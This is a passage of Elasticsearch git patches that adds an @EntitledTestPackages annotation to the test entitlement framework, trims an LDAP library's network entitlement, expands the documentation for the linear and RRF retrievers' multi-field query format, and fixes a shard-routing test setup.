 .../authc/ldap/ActiveDirectoryRealmTests.java |  2 +
 .../authc/ldap/support/LdapTestCase.java      |  2 +
 7 files changed, 117 insertions(+), 8 deletions(-)

diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index c2d56a1acea74..160d601e3e585 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -87,6 +87,10 @@ public static void setTriviallyAllowingTestCode(boolean newValue) {
         policyManager.setTriviallyAllowingTestCode(newValue);
     }
 
+    public static void setEntitledTestPackages(String[] entitledTestPackages) {
+        policyManager.setEntitledTestPackages(entitledTestPackages);
+    }
+
     public static void reset() {
         if (policyManager != null) {
             policyManager.reset();
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
index 5e269066e0edb..3d7387a6a2f3a 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManager.java
@@ -9,6 +9,7 @@
 
 package org.elasticsearch.entitlement.runtime.policy;
 
+import org.elasticsearch.common.util.ArrayUtils;
 import org.elasticsearch.entitlement.runtime.policy.entitlements.Entitlement;
 import org.elasticsearch.test.ESTestCase;
 
@@ -17,6 +18,7 @@
 import java.nio.file.Path;
 import java.security.CodeSource;
 import java.security.ProtectionDomain;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.List;
 import java.util.Map;
@@ -29,6 +31,7 @@ public class TestPolicyManager extends PolicyManager {
 
     boolean isActive;
     boolean isTriviallyAllowingTestCode;
+    String[] entitledTestPackages = TEST_FRAMEWORK_PACKAGE_PREFIXES;
 
     /**
      * We don't have modules in tests, so we can't use the inherited map of entitlements per module.
@@ -60,6 +63,16 @@ public void setTriviallyAllowingTestCode(boolean newValue) {
         this.isTriviallyAllowingTestCode = newValue;
     }
 
+    public void setEntitledTestPackages(String... entitledTestPackages) {
+        assertNoRedundantPrefixes(TEST_FRAMEWORK_PACKAGE_PREFIXES, entitledTestPackages, false);
+        if (entitledTestPackages.length > 1) {
+            assertNoRedundantPrefixes(entitledTestPackages, entitledTestPackages, true);
+        }
+        String[] packages = ArrayUtils.concat(this.entitledTestPackages, entitledTestPackages);
+        Arrays.sort(packages);
+        this.entitledTestPackages = packages;
+    }
+
     /**
      * Called between tests so each test is not affected by prior tests
      */
@@ -110,19 +123,47 @@ private boolean isEntitlementClass(Class<?> requestingClass) {
             && (requestingClass.getName().contains("Test") == false);
     }
 
-    @Deprecated // TODO: reevaluate whether we want this.
-    // If we can simply check for dependencies the gradle worker has that aren't
-    // declared in the gradle config (namely org.gradle) that would be simpler.
     private boolean isTestFrameworkClass(Class<?> requestingClass) {
-        String packageName = requestingClass.getPackageName();
-        for (String prefix : TEST_FRAMEWORK_PACKAGE_PREFIXES) {
-            if (packageName.startsWith(prefix)) {
+        return isTestFrameworkClass(entitledTestPackages, requestingClass.getPackageName());
+    }
+
+    // no redundant entries allowed, see assertNoRedundantPrefixes
+    static boolean isTestFrameworkClass(String[] sortedPrefixes, String packageName) {
+        int idx = Arrays.binarySearch(sortedPrefixes, packageName);
+        if (idx >= 0) {
+            return true;
+        }
+        idx = -idx - 2; // candidate package index (insertion point - 1)
+        if (idx >= 0 && idx < sortedPrefixes.length) {
+            String candidate = sortedPrefixes[idx];
+            if (packageName.startsWith(candidate)
+                && (packageName.length() == candidate.length() || packageName.charAt(candidate.length()) == '.')) {
                 return true;
             }
         }
         return false;
     }
 
+    private static boolean isNotPrefixMatch(String name, String prefix, boolean discardExactMatch) {
+        assert prefix.endsWith(".") == false : "Invalid package prefix ending with '.' [" + prefix + "]";
+        if (name == prefix || name.startsWith(prefix)) {
+            if (name.length() == prefix.length()) {
+                return discardExactMatch;
+            }
+            return false == (name.length() > prefix.length() && name.charAt(prefix.length()) == '.');
+        }
+        return true;
+    }
+
+    static void assertNoRedundantPrefixes(String[] setA, String[] setB, boolean discardExactMatch) {
+        for (String a : setA) {
+            for (String b : setB) {
+                assert isNotPrefixMatch(a, b, discardExactMatch) && isNotPrefixMatch(b, a, discardExactMatch)
+                    : "Redundant prefix entries: [" + a + ", " + b + "]";
+            }
+        }
+    }
+
     private boolean isTestCode(Class<?> requestingClass) {
         // TODO: Cache this? It's expensive
         for (Class<?> candidate = requireNonNull(requestingClass); candidate != null; candidate = candidate.getDeclaringClass()) {
@@ -163,6 +204,10 @@ private boolean isTestCode(Class<?> requestingClass) {
         "org.bouncycastle.jsse.provider" // Used in test code if FIPS is enabled, support more fine-grained config in ES-12128
     };
 
+    static {
+        Arrays.sort(TEST_FRAMEWORK_PACKAGE_PREFIXES);
+    }
+
     @Override
     protected ModuleEntitlements getEntitlements(Class<?> requestingClass) {
         return classEntitlementsMap.computeIfAbsent(requestingClass, this::computeEntitlements);
diff --git a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
index ffc0e00909c81..ff0560a7737ac 100644
--- a/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
+++ b/test/framework/src/main/java/org/elasticsearch/test/ESTestCase.java
@@ -517,16 +517,30 @@ protected void afterIfSuccessful() throws Exception {}
     public @interface WithEntitlementsOnTestCode {
     }
 
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target(ElementType.TYPE)
+    @Inherited
+    public @interface EntitledTestPackages {
+        String[] value();
+    }
+
     @BeforeClass
     public static void setupEntitlementsForClass() {
         boolean withoutEntitlements = getTestClass().isAnnotationPresent(WithoutEntitlements.class);
         boolean withEntitlementsOnTestCode = getTestClass().isAnnotationPresent(WithEntitlementsOnTestCode.class);
+        EntitledTestPackages entitledPackages = getTestClass().getAnnotation(EntitledTestPackages.class);
+
         if (TestEntitlementBootstrap.isEnabledForTest()) {
             TestEntitlementBootstrap.setActive(false == withoutEntitlements);
             TestEntitlementBootstrap.setTriviallyAllowingTestCode(false == withEntitlementsOnTestCode);
+            if (entitledPackages != null) {
+                assert withEntitlementsOnTestCode == false : "Cannot use @WithEntitlementsOnTestCode together with @EntitledTestPackages";
+                assert entitledPackages.value().length > 0 : "No test packages specified in @EntitledTestPackages";
+                TestEntitlementBootstrap.setEntitledTestPackages(entitledPackages.value());
+            }
         } else if (withEntitlementsOnTestCode) {
             throw new AssertionError(
-                "Cannot use WithEntitlementsOnTestCode on tests that are not configured to use entitlements for testing"
+                "Cannot use @WithEntitlementsOnTestCode on tests that are not configured to use entitlements for testing"
             );
         }
     }
diff --git a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
index bf59174410948..366e0bd5505fe 100644
--- a/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
+++ b/test/framework/src/test/java/org/elasticsearch/entitlement/runtime/policy/TestPolicyManagerTests.java
@@ -13,11 +13,15 @@
 import org.elasticsearch.test.ESTestCase;
 import org.junit.Before;
 
+import java.util.Arrays;
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.atomic.AtomicInteger;
 
 import static org.elasticsearch.entitlement.runtime.policy.PolicyManager.ComponentKind.PLUGIN;
+import static org.hamcrest.Matchers.both;
+import static org.hamcrest.Matchers.containsString;
+import static org.hamcrest.Matchers.equalTo;
 
 public class TestPolicyManagerTests extends ESTestCase {
     TestPolicyManager policyManager;
@@ -60,4 +64,43 @@ public void testIsTriviallyAllowed() {
         policyManager.setTriviallyAllowingTestCode(false);
         assertFalse(policyManager.isTriviallyAllowed(getClass()));
     }
+
+    public void testDefaultEntitledTestPackages() {
+        String[] testPackages = policyManager.entitledTestPackages.clone();
+        TestPolicyManager.assertNoRedundantPrefixes(testPackages, testPackages, true);
+
+        Arrays.sort(testPackages);
+        assertThat("Entitled test framework packages are not sorted", policyManager.entitledTestPackages, equalTo(testPackages));
+    }
+
+    public void testRejectSetRedundantEntitledTestPackages() {
+        var throwable = expectThrows(AssertionError.class, () -> policyManager.setEntitledTestPackages("org.apache.lucene.tests"));
+        var baseMatcher = both(containsString("Redundant prefix entries"));
+        assertThat(throwable.getMessage(), baseMatcher.and(containsString("org.apache.lucene.tests, org.apache.lucene.tests")));
+
+        throwable = expectThrows(AssertionError.class, () -> policyManager.setEntitledTestPackages("org.apache.lucene"));
+        assertThat(throwable.getMessage(), baseMatcher.and(containsString("org.apache.lucene.tests, org.apache.lucene")));
+
+        throwable = expectThrows(AssertionError.class, () -> policyManager.setEntitledTestPackages("org.apache.lucene.tests.whatever"));
+        assertThat(throwable.getMessage(), baseMatcher.and(containsString("org.apache.lucene.tests, org.apache.lucene.tests.whatever")));
+
+        throwable = expectThrows(AssertionError.class, () -> policyManager.setEntitledTestPackages("my.package", "my.package.sub"));
+        assertThat(throwable.getMessage(), baseMatcher.and(containsString("my.package, my.package.sub")));
+
+        throwable = expectThrows(AssertionError.class, () -> policyManager.setEntitledTestPackages("trailing.dot."));
+        assertThat(throwable.getMessage(), containsString("Invalid package prefix ending with '.' [trailing.dot.]"));
+    }
+
+    public void testIsTestFrameworkClass() {
+        String[] sortedPrefixes = { "a.b", "a.bc", "a.c" };
+
+        assertTrue(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a.b"));
+        assertTrue(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a.b.c"));
+        assertTrue(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a.bc"));
+        assertTrue(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a.bc.a"));
+
+        assertFalse(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a"));
+        assertFalse(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a.ba"));
+        assertFalse(TestPolicyManager.isTestFrameworkClass(sortedPrefixes, "a.bcc"));
+    }
 }
diff --git a/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml b/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml
index 60d08fef7cef0..5b089eba8b5b1 100644
--- a/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml
+++ b/x-pack/plugin/core/src/main/plugin-metadata/entitlement-policy.yaml
@@ -18,7 +18,6 @@ org.apache.httpcomponents.httpasyncclient:
   - manage_threads
 unboundid.ldapsdk:
   - set_https_connection_properties # TODO: review if we need this once we have proper test coverage
-  - inbound_network # For com.unboundid.ldap.listener.LDAPListener
   - outbound_network
   - manage_threads
   - write_system_properties:
diff --git a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/ActiveDirectoryRealmTests.java b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/ActiveDirectoryRealmTests.java
index 1ff7ef10d348d..f6c98a467205e 100644
--- a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/ActiveDirectoryRealmTests.java
+++ b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/ActiveDirectoryRealmTests.java
@@ -33,6 +33,7 @@
 import org.elasticsearch.script.ScriptService;
 import org.elasticsearch.script.mustache.MustacheScriptEngine;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.EntitledTestPackages;
 import org.elasticsearch.threadpool.TestThreadPool;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.elasticsearch.watcher.ResourceWatcherService;
@@ -106,6 +107,7 @@
  * The username used to authenticate then has to be in the form of CN=user. Finally the username needs to be added as an
  * additional bind DN with a password in the test setup since it really is not a DN in the ldif file
  */
+@EntitledTestPackages(value = { "com.unboundid.ldap.listener" }) // tests start LDAP server that listens for incoming connections
 public class ActiveDirectoryRealmTests extends ESTestCase {
 
     private static final String PASSWORD = "password";
diff --git a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/support/LdapTestCase.java b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/support/LdapTestCase.java
index 769491742ad5d..18741b5a13a99 100644
--- a/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/support/LdapTestCase.java
+++ b/x-pack/plugin/security/src/test/java/org/elasticsearch/xpack/security/authc/ldap/support/LdapTestCase.java
@@ -29,6 +29,7 @@
 import org.elasticsearch.core.TimeValue;
 import org.elasticsearch.env.TestEnvironment;
 import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.test.ESTestCase.EntitledTestPackages;
 import org.elasticsearch.watcher.ResourceWatcherService;
 import org.elasticsearch.xpack.core.XPackSettings;
 import org.elasticsearch.xpack.core.security.authc.RealmConfig;
@@ -73,6 +74,7 @@
 import static org.elasticsearch.xpack.core.security.authc.ldap.support.SessionFactorySettings.URLS_SETTING;
 import static org.hamcrest.Matchers.is;
 
+@EntitledTestPackages(value = { "com.unboundid.ldap.listener" }) // tests start LDAP server that listens for incoming connections
 public abstract class LdapTestCase extends ESTestCase {
 
     protected static final RealmConfig.RealmIdentifier REALM_IDENTIFIER = new RealmConfig.RealmIdentifier("ldap", "ldap1");

From 9fadb8c873b00252604ba1a8ff35d2122917789d Mon Sep 17 00:00:00 2001
From: Mike Pellegrini <mike.pellegrini@elastic.co>
Date: Tue, 8 Jul 2025 14:05:40 -0400
Subject: [PATCH 095/299] Simplified Linear and RRF Retrievers Docs (#130559)
 (#130836)

---
 .../elasticsearch/rest-apis/retrievers.md     | 283 ++++++++++++++++--
 1 file changed, 255 insertions(+), 28 deletions(-)

diff --git a/docs/reference/elasticsearch/rest-apis/retrievers.md b/docs/reference/elasticsearch/rest-apis/retrievers.md
index cbcae05e42681..38ec1da415dc6 100644
--- a/docs/reference/elasticsearch/rest-apis/retrievers.md
+++ b/docs/reference/elasticsearch/rest-apis/retrievers.md
@@ -258,13 +258,55 @@ A retriever that normalizes and linearly combines the scores of other retrievers
 
 #### Parameters [linear-retriever-parameters]
 
+::::{note}
+Either `query` or `retrievers` must be specified.
+Combining `query` and `retrievers` is not supported.
+::::
+
+`query` {applies_to}`stack: ga 9.1`
+:   (Optional, String)
+
+    The query to use when using the [multi-field query format](#multi-field-query-format).
+
+`fields` {applies_to}`stack: ga 9.1`
+:   (Optional, array of strings)
+
+    The fields to query when using the [multi-field query format](#multi-field-query-format).
+    Fields can include boost values using the `^` notation (e.g., `"field^2"`).
+    If not specified, uses the index's default fields from the `index.query.default_field` index setting, which is `*` by default.
+
+`normalizer` {applies_to}`stack: ga 9.1`
+:   (Optional, String)
+
+    The normalizer to use when using the [multi-field query format](#multi-field-query-format).
+    See [normalizers](#linear-retriever-normalizers) for supported values.
+    Required when `query` is specified.
+
+    ::::{warning}
+    Avoid using `none` as that will disable normalization and may bias the result set towards lexical matches.
+    See [field grouping](#multi-field-field-grouping) for more information.
+    ::::
+
 `retrievers`
-:   (Required, array of objects)
+:   (Optional, array of objects)
+
+    A list of the sub-retrievers' configuration, that we will take into account and whose result sets we will merge through a weighted sum.
+    Each configuration can have a different weight and normalization depending on the specified retriever.
 
-    A list of the sub-retrievers' configuration, that we will take into account and whose result sets we will merge through a weighted sum. Each configuration can have a different weight and normalization depending on the specified retriever.
+`rank_window_size`
+:   (Optional, integer)
+
+    This value determines the size of the individual result sets per query. A higher value will improve result relevance at the cost of performance.
+    The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param).
+    `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`.
+    Defaults to 10.
+
+`filter`
+:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
 
+    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
 
-Each entry specifies the following parameters:
+Each entry in the `retrievers` array specifies the following parameters:
 
 `retriever`
 :   (Required, a `retriever` object)
@@ -279,64 +321,74 @@ Each entry specifies the following parameters:
 `normalizer`
 :   (Optional, String)
 
-    - Specifies how we will normalize the retriever’s scores, before applying the specified `weight`. Available values are: `minmax`, `l2_norm`, and `none`. Defaults to `none`.
+    Specifies how the retriever’s score will be normalized before applying the specified `weight`.
+    See [normalizers](#linear-retriever-normalizers) for supported values.
+    Defaults to `none`.
 
-    * `none`
-    * `minmax` : A `MinMaxScoreNormalizer` that normalizes scores based on the following formula
+See also [this hybrid search example](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-retriever) using a linear retriever on how to independently configure and apply normalizers to retrievers.
 
-        ```
-        score = (score - min) / (max - min)
-        ```
+#### Normalizers [linear-retriever-normalizers]
 
-    * `l2_norm` : An `L2ScoreNormalizer` that normalizes scores using the L2 norm of the score values.
+The `linear` retriever supports the following normalizers:
 
-See also [this hybrid search example](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-retriever) using a linear retriever on how to independently configure and apply normalizers to retrievers.
+* `none`: No normalization
+* `minmax`: Normalizes scores based on the following formula:
 
-`rank_window_size`
-:   (Optional, integer)
+    ```
+    score = (score - min) / (max - min)
+    ```
+* `l2_norm`: Normalizes scores using the L2 norm of the score values
 
-    This value determines the size of the individual result sets per query. A higher value will improve result relevance at the cost of performance. The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param). `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`. Defaults to the `size` parameter.
 
+## RRF Retriever [rrf-retriever]
 
-`filter`
-:   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
+An [RRF](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md) retriever returns top documents based on the RRF formula, equally weighting two or more child retrievers.
+Reciprocal rank fusion (RRF) is a method for combining multiple result sets with different relevance indicators into a single result set.
 
-    Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
 
+#### Parameters [rrf-retriever-parameters]
 
+::::{note}
+Either `query` or `retrievers` must be specified.
+Combining `query` and `retrievers` is not supported.
+::::
 
-## RRF Retriever [rrf-retriever]
+`query` {applies_to}`stack: ga 9.1`
+:   (Optional, String)
 
-An [RRF](/reference/elasticsearch/rest-apis/reciprocal-rank-fusion.md) retriever returns top documents based on the RRF formula, equally weighting two or more child retrievers. Reciprocal rank fusion (RRF) is a method for combining multiple result sets with different relevance indicators into a single result set.
+    The query to use when using the [multi-field query format](#multi-field-query-format).
 
+`fields` {applies_to}`stack: ga 9.1`
+:   (Optional, array of strings)
 
-#### Parameters [rrf-retriever-parameters]
+    The fields to query when using the [multi-field query format](#multi-field-query-format).
+    If not specified, uses the index's default fields from the `index.query.default_field` index setting, which is `*` by default.
 
 `retrievers`
-:   (Required, array of retriever objects)
-
-    A list of child retrievers to specify which sets of returned top documents will have the RRF formula applied to them. Each child retriever carries an equal weight as part of the RRF formula. Two or more child retrievers are required.
+:   (Optional, array of retriever objects)
 
+    A list of child retrievers to specify which sets of returned top documents will have the RRF formula applied to them.
+    Each child retriever carries an equal weight as part of the RRF formula. Two or more child retrievers are required.
 
 `rank_constant`
 :   (Optional, integer)
 
     This value determines how much influence documents in individual result sets per query have over the final ranked result set. A higher value indicates that lower ranked documents have more influence. This value must be greater than or equal to `1`. Defaults to `60`.
 
-
 `rank_window_size`
 :   (Optional, integer)
 
-    This value determines the size of the individual result sets per query. A higher value will improve result relevance at the cost of performance. The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param). `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`. Defaults to the `size` parameter.
-
+    This value determines the size of the individual result sets per query.
+    A higher value will improve result relevance at the cost of performance.
+    The final ranked result set is pruned down to the search request’s [size](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-search#search-size-param).
+    `rank_window_size` must be greater than or equal to `size` and greater than or equal to `1`.
+    Defaults to 10.
 
 `filter`
 :   (Optional, [query object or list of query objects](/reference/query-languages/querydsl.md))
 
     Applies the specified [boolean query filter](/reference/query-languages/query-dsl/query-dsl-bool-query.md) to all of the specified sub-retrievers, according to each retriever’s specifications.
 
-
-
 ### Example: Hybrid search [rrf-retriever-example-hybrid]
 
 A simple hybrid search example (lexical search + dense vector search) combining a `standard` retriever with a `knn` retriever using RRF:
@@ -976,6 +1028,181 @@ GET /restaurants/_search
 }
 ```
 
+## Multi-field query format [multi-field-query-format]
+```yaml {applies_to}
+stack: ga 9.1
+```
+
+The `linear` and `rrf` retrievers support a multi-field query format that provides a simplified way to define searches across multiple fields without explicitly specifying inner retrievers.
+This format automatically generates appropriate inner retrievers based on the field types and query parameters.
+This is a great way to search an index, knowing little to nothing about its schema, while also handling normalization across lexical and semantic matches.
+
+### Field grouping [multi-field-field-grouping]
+
+The multi-field query format groups queried fields into two categories:
+
+- **Lexical fields**: fields that support term queries, such as `keyword` and `text` fields.
+- **Semantic fields**: [`semantic_text` fields](/reference/elasticsearch/mapping-reference/semantic-text.md).
+
+Each field group is queried separately and the scores/ranks are normalized such that each contributes 50% to the final score/rank.
+This balances the importance of lexical and semantic fields.
+Most indices contain more lexical than semantic fields, and without this grouping the results would often bias towards lexical field matches.
+
+::::{warning}
+In the `linear` retriever, this grouping relies on using a normalizer other than `none` (i.e., `minmax` or `l2_norm`).
+If you use the `none` normalizer, the scores across field groups will not be normalized and the results may be biased towards lexical field matches.
+::::
+
+### Linear retriever field boosting [multi-field-field-boosting]
+
+When using the `linear` retriever, fields can be boosted using the `^` notation:
+
+```console
+GET books/_search
+{
+  "retriever": {
+    "linear": {
+      "query": "elasticsearch",
+      "fields": [
+        "title^3",                <1>
+        "description^2",          <2>
+        "title_semantic",         <3>
+        "description_semantic^2"
+      ],
+      "normalizer": "minmax"
+    }
+  }
+}
+```
+
+1. 3x weight
+2. 2x weight
+3. 1x weight (default)
+
+Due to how the [field group scores](#multi-field-field-grouping) are normalized, per-field boosts have no effect on the range of the final score.
+Instead, they affect the importance of the field's score within its group.
+
+For example, if the schema looks like:
+
+```console
+PUT /books
+{
+  "mappings": {
+    "properties": {
+      "title": {
+        "type": "text",
+        "copy_to": "title_semantic"
+      },
+      "description": {
+        "type": "text",
+        "copy_to": "description_semantic"
+      },
+      "title_semantic": {
+        "type": "semantic_text"
+      },
+      "description_semantic": {
+        "type": "semantic_text"
+      }
+    }
+  }
+}
+```
+
+And we run this query:
+
+```console
+GET books/_search
+{
+  "retriever": {
+    "linear": {
+      "query": "elasticsearch",
+      "fields": [
+        "title",
+        "description",
+        "title_semantic",
+        "description_semantic"
+      ],
+      "normalizer": "minmax"
+    }
+  }
+}
+```
+
+The score breakdown would be:
+
+* Lexical fields (50% of score):
+  * `title`: 50% of lexical fields group score, 25% of final score
+  * `description`: 50% of lexical fields group score, 25% of final score
+* Semantic fields (50% of score):
+  * `title_semantic`: 50% of semantic fields group score, 25% of final score
+  * `description_semantic`: 50% of semantic fields group score, 25% of final score
+
+If we apply per-field boosts like so:
+
+```console
+GET books/_search
+{
+  "retriever": {
+    "linear": {
+      "query": "elasticsearch",
+      "fields": [
+        "title^3",
+        "description^2",
+        "title_semantic",
+        "description_semantic^2"
+      ],
+      "normalizer": "minmax"
+    }
+  }
+}
+```
+
+The score breakdown would change to:
+
+* Lexical fields (50% of score):
+    * `title`: 60% of lexical fields group score, 30% of final score
+    * `description`: 40% of lexical fields group score, 20% of final score
+* Semantic fields (50% of score):
+    * `title_semantic`: 33% of semantic fields group score, 16.5% of final score
+    * `description_semantic`: 66% of semantic fields group score, 33% of final score
+
+### Wildcard field patterns [multi-field-wildcard-field-patterns]
+
+Field names support the `*` wildcard character to match multiple fields:
+
+```console
+GET books/_search
+{
+  "retriever": {
+    "rrf": {
+      "query": "machine learning",
+      "fields": [
+        "title*",    <1>
+        "*_text"     <2>
+      ]
+    }
+  }
+}
+```
+
+1. Match fields that start with `title`
+2. Match fields that end with `_text`
+
+Note, however, that wildcard field patterns will only resolve to fields that either:
+
+- Support term queries, such as `keyword` and `text` fields
+- Are `semantic_text` fields
+
+### Limitations
+
+- **Single index**: Multi-field queries currently work with single index searches only
+- **CCS (Cross Cluster Search)**: Multi-field queries do not support remote cluster searches
+
+### Examples
+
+<!-- - [RRF with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-rrf-multi-field-query-format) -->
+<!-- - [Linear retriever with the multi-field query format](docs-content://solutions/search/retrievers-examples.md#retrievers-examples-linear-multi-field-query-format) -->
+
 ## Common usage guidelines [retriever-common-parameters]
 
 

From cdc69584c0f534e34da57b311010eca76ad57171 Mon Sep 17 00:00:00 2001
From: Ben Chaplin <benchaplin@protonmail.com>
Date: Tue, 8 Jul 2025 14:15:09 -0400
Subject: [PATCH 096/299] Fix test setup to properly free context (#130787)
 (#130833)

---
 muted-tests.yml                               |  6 ----
 .../search/SearchServiceSingleNodeTests.java  | 19 +++++++++--
 .../cluster/routing/TestShardRouting.java     | 34 +++++++++++++++++++
 3 files changed, 51 insertions(+), 8 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index 09dddc5d7b7ab..ff9c7b39c0c1a 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -329,12 +329,6 @@ tests:
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=transform/transforms_start_stop/Test start/stop/start continuous transform}
   issue: https://github.com/elastic/elasticsearch/issues/126755
-- class: org.elasticsearch.search.SearchServiceSingleNodeTests
-  method: testBeforeShardLockDuringShardCreate
-  issue: https://github.com/elastic/elasticsearch/issues/126812
-- class: org.elasticsearch.search.SearchServiceSingleNodeTests
-  method: testLookUpSearchContext
-  issue: https://github.com/elastic/elasticsearch/issues/126813
 - class: org.elasticsearch.xpack.test.rest.XPackRestIT
   method: test {p0=transform/transforms_stats/Test get multiple transform stats where one does not have a task}
   issue: https://github.com/elastic/elasticsearch/issues/126863
diff --git a/server/src/test/java/org/elasticsearch/search/SearchServiceSingleNodeTests.java b/server/src/test/java/org/elasticsearch/search/SearchServiceSingleNodeTests.java
index 9ef888da81596..e9dd4d8674dea 100644
--- a/server/src/test/java/org/elasticsearch/search/SearchServiceSingleNodeTests.java
+++ b/server/src/test/java/org/elasticsearch/search/SearchServiceSingleNodeTests.java
@@ -44,6 +44,7 @@
 import org.elasticsearch.action.support.WriteRequest;
 import org.elasticsearch.client.internal.Client;
 import org.elasticsearch.cluster.metadata.IndexMetadata;
+import org.elasticsearch.cluster.routing.RecoverySource;
 import org.elasticsearch.cluster.routing.ShardRouting;
 import org.elasticsearch.cluster.routing.ShardRoutingState;
 import org.elasticsearch.cluster.routing.TestShardRouting;
@@ -1255,8 +1256,22 @@ public void testBeforeShardLockDuringShardCreate() {
             TestShardRouting.newShardRouting(
                 new ShardId(indexService.index(), 0),
                 randomAlphaOfLength(5),
-                randomBoolean(),
-                ShardRoutingState.INITIALIZING
+                true,
+                ShardRoutingState.INITIALIZING,
+                RecoverySource.EmptyStoreRecoverySource.INSTANCE
+            ),
+            indexService.getIndexSettings().getSettings()
+        );
+        assertEquals(1, service.getActiveContexts());
+
+        boolean primary = randomBoolean();
+        service.beforeIndexShardCreated(
+            TestShardRouting.newShardRouting(
+                new ShardId(indexService.index(), 0),
+                randomAlphaOfLength(5),
+                primary,
+                ShardRoutingState.INITIALIZING,
+                primary ? RecoverySource.ExistingStoreRecoverySource.INSTANCE : RecoverySource.PeerRecoverySource.INSTANCE
             ),
             indexService.getIndexSettings().getSettings()
         );
diff --git a/test/framework/src/main/java/org/elasticsearch/cluster/routing/TestShardRouting.java b/test/framework/src/main/java/org/elasticsearch/cluster/routing/TestShardRouting.java
index 731faccdeede1..84e1dd532e2b7 100644
--- a/test/framework/src/main/java/org/elasticsearch/cluster/routing/TestShardRouting.java
+++ b/test/framework/src/main/java/org/elasticsearch/cluster/routing/TestShardRouting.java
@@ -131,6 +131,16 @@ public static ShardRouting newShardRouting(ShardId shardId, String currentNodeId
         return newShardRouting(shardId, currentNodeId, primary, state, ShardRouting.Role.DEFAULT);
     }
 
+    public static ShardRouting newShardRouting(
+        ShardId shardId,
+        String currentNodeId,
+        boolean primary,
+        ShardRoutingState state,
+        RecoverySource recoverySource
+    ) {
+        return newShardRouting(shardId, currentNodeId, primary, state, recoverySource, ShardRouting.Role.DEFAULT);
+    }
+
     public static ShardRouting newShardRouting(
         ShardId shardId,
         String currentNodeId,
@@ -154,6 +164,30 @@ public static ShardRouting newShardRouting(
         );
     }
 
+    public static ShardRouting newShardRouting(
+        ShardId shardId,
+        String currentNodeId,
+        boolean primary,
+        ShardRoutingState state,
+        RecoverySource recoverySource,
+        ShardRouting.Role role
+    ) {
+        assertNotEquals(ShardRoutingState.RELOCATING, state);
+        return new ShardRouting(
+            shardId,
+            currentNodeId,
+            null,
+            primary,
+            state,
+            recoverySource,
+            buildUnassignedInfo(state),
+            buildRelocationFailureInfo(state),
+            buildAllocationId(state),
+            ShardRouting.UNAVAILABLE_EXPECTED_SHARD_SIZE,
+            role
+        );
+    }
+
     public static ShardRouting newShardRouting(
         String index,
         int shardId,

From b6b13d53db3463e56fc431a00dc50c68cf1918d6 Mon Sep 17 00:00:00 2001
From: Jim Ferenczi <jim.ferenczi@elastic.co>
Date: Tue, 8 Jul 2025 22:11:29 +0200
Subject: [PATCH 097/299] Unmute yaml test (#130803) (#130841)

Unmute yaml test fixed by #130732

Closes #130626, #130661
---
